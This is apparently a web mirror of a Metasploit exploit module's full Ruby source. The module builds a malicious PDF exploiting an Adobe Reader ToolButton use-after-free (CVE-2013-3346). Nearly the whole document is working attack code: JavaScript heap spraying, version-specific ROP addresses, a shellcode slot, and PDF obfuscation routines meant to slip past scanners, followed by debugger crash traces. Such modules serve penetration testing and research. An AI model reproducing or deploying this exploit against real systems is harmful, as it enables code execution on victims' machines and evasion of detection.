Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/adobe_toolbutton.rb
19515 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::FILEFORMAT
10
include Msf::Exploit::RopDb
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Adobe Reader ToolButton Use After Free',
17
'Description' => %q{
18
This module exploits a use after free condition on Adobe Reader versions 11.0.2, 10.1.6
19
and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where
20
the cEnable callback can be used to early free the object memory. Later use of the object
21
allows triggering the use after free condition. This module has been tested successfully
22
on Adobe Reader 11.0.2, 10.0.4 and 9.5.0 on Windows XP SP3, as exploited in the wild in
23
November, 2013.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'Soroush Dalili', # Vulnerability discovery
28
'Unknown', # Exploit in the wild
29
'sinn3r', # Metasploit module
30
'juan vazquez' # Metasploit module
31
],
32
'References' => [
33
[ 'CVE', '2013-3346' ],
34
[ 'OSVDB', '96745' ],
35
[ 'ZDI', '13-212' ],
36
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb13-15.html' ],
37
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ]
38
],
39
'Payload' => {
40
'Space' => 1024,
41
'BadChars' => "\x00",
42
'DisableNops' => true
43
},
44
'Platform' => 'win',
45
'Targets' => [
46
[ 'Windows XP / Adobe Reader 9/10/11', {}],
47
],
48
'Privileged' => false,
49
'DisclosureDate' => '2013-08-08',
50
'DefaultTarget' => 0,
51
'Notes' => {
52
'Reliability' => UNKNOWN_RELIABILITY,
53
'Stability' => UNKNOWN_STABILITY,
54
'SideEffects' => UNKNOWN_SIDE_EFFECTS
55
}
56
)
57
)
58
59
register_options(
60
[
61
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
62
]
63
)
64
end
65
66
def exploit
67
js_data = make_js
68
69
# Create the pdf
70
pdf = make_pdf(js_data)
71
72
print_status("Creating '#{datastore['FILENAME']}' file...")
73
74
file_create(pdf)
75
end
76
77
def make_js
78
# CreateFileMappingA + MapViewOfFile + memcpy rop chain
79
rop_9 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '9' }))
80
rop_10 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '10' }))
81
rop_11 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '11' }))
82
escaped_payload = Rex::Text.to_unescape(payload.encoded)
83
84
js = %Q|
85
function heapSpray(str, str_addr, r_addr) {
86
var aaa = unescape("%u0c0c");
87
aaa += aaa;
88
while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;
89
var i1 = r_addr - 0x24;
90
var bbb = aaa.substring(0, i1 / 2);
91
var sa = str_addr;
92
while (sa.length < (0x0c0c - r_addr)) sa += sa;
93
bbb += sa;
94
bbb += aaa;
95
var i11 = 0x0c0c - 0x24;
96
bbb = bbb.substring(0, i11 / 2);
97
bbb += str;
98
bbb += aaa;
99
var i2 = 0x4000 + 0xc000;
100
var ccc = bbb.substring(0, i2 / 2);
101
while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;
102
var i3 = (0x1020 - 0x08) / 2;
103
var ddd = ccc.substring(0, 0x80000 - i3);
104
var eee = new Array();
105
for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s";
106
return;
107
}
108
var shellcode = unescape("#{escaped_payload}");
109
var executable = "";
110
var rop9 = unescape("#{rop_9}");
111
var rop10 = unescape("#{rop_10}");
112
var rop11 = unescape("#{rop_11}");
113
var r11 = false;
114
var vulnerable = true;
115
116
var obj_size;
117
var rop;
118
var ret_addr;
119
var rop_addr;
120
var r_addr;
121
122
if (app.viewerVersion >= 9 && app.viewerVersion < 10 && app.viewerVersion <= 9.504) {
123
obj_size = 0x330 + 0x1c;
124
rop = rop9;
125
ret_addr = unescape("%ua83e%u4a82");
126
rop_addr = unescape("%u08e8%u0c0c");
127
r_addr = 0x08e8;
128
} else if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) {
129
obj_size = 0x360 + 0x1c;
130
rop = rop10;
131
rop_addr = unescape("%u08e4%u0c0c");
132
r_addr = 0x08e4;
133
ret_addr = unescape("%ua8df%u4a82");
134
} else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) {
135
r11 = true;
136
obj_size = 0x370;
137
rop = rop11;
138
rop_addr = unescape("%u08a8%u0c0c");
139
r_addr = 0x08a8;
140
ret_addr = unescape("%u8003%u4a84");
141
} else {
142
vulnerable = false;
143
}
144
145
if (vulnerable) {
146
var payload = rop + shellcode;
147
heapSpray(payload, ret_addr, r_addr);
148
149
var part1 = "";
150
if (!r11) {
151
for (i = 0; i < 0x1c / 2; i++) part1 += unescape("%u4141");
152
}
153
part1 += rop_addr;
154
var part2 = "";
155
var part2_len = obj_size - part1.length * 2;
156
for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape("%u4141");
157
var arr = new Array();
158
159
removeButtonFunc = function () {
160
app.removeToolButton({
161
cName: "evil"
162
});
163
164
for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);
165
}
166
167
addButtonFunc = function () {
168
app.addToolButton({
169
cName: "xxx",
170
cExec: "1",
171
cEnable: "removeButtonFunc();"
172
});
173
}
174
175
app.addToolButton({
176
cName: "evil",
177
cExec: "1",
178
cEnable: "addButtonFunc();"
179
});
180
}
181
|
182
183
js
184
end
185
186
def random_non_ascii_string(count)
187
result = ""
188
count.times do
189
result << (rand(128) + 128).chr
190
end
191
result
192
end
193
194
def io_def(id)
195
"%d 0 obj \n" % id
196
end
197
198
def io_ref(id)
199
"%d 0 R" % id
200
end
201
202
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
203
def n_obfu(str)
204
# return str
205
result = ""
206
str.scan(/./u) do |c|
207
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
208
result << "#%x" % c.unpack("C*")[0]
209
else
210
result << c
211
end
212
end
213
result
214
end
215
216
def ascii_hex_whitespace_encode(str)
217
result = ""
218
whitespace = ""
219
str.each_byte do |b|
220
result << whitespace << "%02x" % b
221
whitespace = " " * (rand(3) + 1)
222
end
223
result << ">"
224
end
225
226
def make_pdf(js)
227
xref = []
228
eol = "\n"
229
endobj = "endobj" << eol
230
231
# Randomize PDF version?
232
pdf = "%PDF-1.5" << eol
233
pdf << "%" << random_non_ascii_string(4) << eol
234
235
# catalog
236
xref << pdf.length
237
pdf << io_def(1) << n_obfu("<<") << eol
238
pdf << n_obfu("/Pages ") << io_ref(2) << eol
239
pdf << n_obfu("/Type /Catalog") << eol
240
pdf << n_obfu("/OpenAction ") << io_ref(4) << eol
241
# The AcroForm is required to get icucnv36.dll / icucnv40.dll to load
242
pdf << n_obfu("/AcroForm ") << io_ref(6) << eol
243
pdf << n_obfu(">>") << eol
244
pdf << endobj
245
246
# pages array
247
xref << pdf.length
248
pdf << io_def(2) << n_obfu("<<") << eol
249
pdf << n_obfu("/Kids [") << io_ref(3) << "]" << eol
250
pdf << n_obfu("/Count 1") << eol
251
pdf << n_obfu("/Type /Pages") << eol
252
pdf << n_obfu(">>") << eol
253
pdf << endobj
254
255
# page 1
256
xref << pdf.length
257
pdf << io_def(3) << n_obfu("<<") << eol
258
pdf << n_obfu("/Parent ") << io_ref(2) << eol
259
pdf << n_obfu("/Type /Page") << eol
260
pdf << n_obfu(">>") << eol # end obj dict
261
pdf << endobj
262
263
# js action
264
xref << pdf.length
265
pdf << io_def(4) << n_obfu("<<")
266
pdf << n_obfu("/Type/Action/S/JavaScript/JS ") + io_ref(5)
267
pdf << n_obfu(">>") << eol
268
pdf << endobj
269
270
# js stream
271
xref << pdf.length
272
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
273
pdf << io_def(5) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
274
pdf << "stream" << eol
275
pdf << compressed << eol
276
pdf << "endstream" << eol
277
pdf << endobj
278
279
###
280
# The following form related data is required to get icucnv36.dll / icucnv40.dll to load
281
###
282
283
# form object
284
xref << pdf.length
285
pdf << io_def(6)
286
pdf << n_obfu("<</XFA ") << io_ref(7) << n_obfu(">>") << eol
287
pdf << endobj
288
289
# form stream
290
xfa = <<~EOF
291
<?xml version="1.0" encoding="UTF-8"?>
292
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
293
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
294
<present><pdf><interactive>1</interactive></pdf></present>
295
</config>
296
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
297
<subform name="form1" layout="tb" locale="en_US">
298
<pageSet></pageSet>
299
</subform></template></xdp:xdp>
300
EOF
301
302
xref << pdf.length
303
pdf << io_def(7) << n_obfu("<</Length %s>>" % xfa.length) << eol
304
pdf << "stream" << eol
305
pdf << xfa << eol
306
pdf << "endstream" << eol
307
pdf << endobj
308
309
###
310
# end form stuff for icucnv36.dll / icucnv40.dll
311
###
312
313
# trailing stuff
314
xrefPosition = pdf.length
315
pdf << "xref" << eol
316
pdf << "0 %d" % (xref.length + 1) << eol
317
pdf << "0000000000 65535 f" << eol
318
xref.each do |index|
319
pdf << "%010d 00000 n" % index << eol
320
end
321
322
pdf << "trailer" << eol
323
pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
324
325
pdf << "startxref" << eol
326
pdf << xrefPosition.to_s() << eol
327
328
pdf << "%%EOF" << eol
329
pdf
330
end
331
end
332
333
=begin
334
335
* crash Adobe Reader 10.1.4
336
337
First chance exceptions are reported before any exception handling.
338
This exception may be expected and handled.
339
eax=0c0c08e4 ebx=00000000 ecx=02eb6774 edx=66dd0024 esi=02eb6774 edi=00000001
340
eip=604d3a4d esp=0012e4fc ebp=0012e51c iopl=0 nv up ei pl nz ac po cy
341
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
342
AcroRd32_60000000!PDFLTerm+0xbb7cd:
343
604d3a4d ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=????????
344
345
* crash Adobe Reader 11.0.2
346
347
(940.d70): Access violation - code c0000005 (first chance)
348
First chance exceptions are reported before any exception handling.
349
This exception may be expected and handled.
350
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.dll -
351
eax=0c0c08a8 ebx=00000001 ecx=02d68090 edx=5b21005b esi=02d68090 edi=00000000
352
eip=60197b9b esp=0012e3fc ebp=0012e41c iopl=0 nv up ei pl nz ac po cy
353
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213
354
AcroRd32_60000000!DllCanUnloadNow+0x1493ae:
355
60197b9b ff9064030000 call dword ptr [eax+364h] ds:0023:0c0c0c0c=????????
356
357
=end
358
359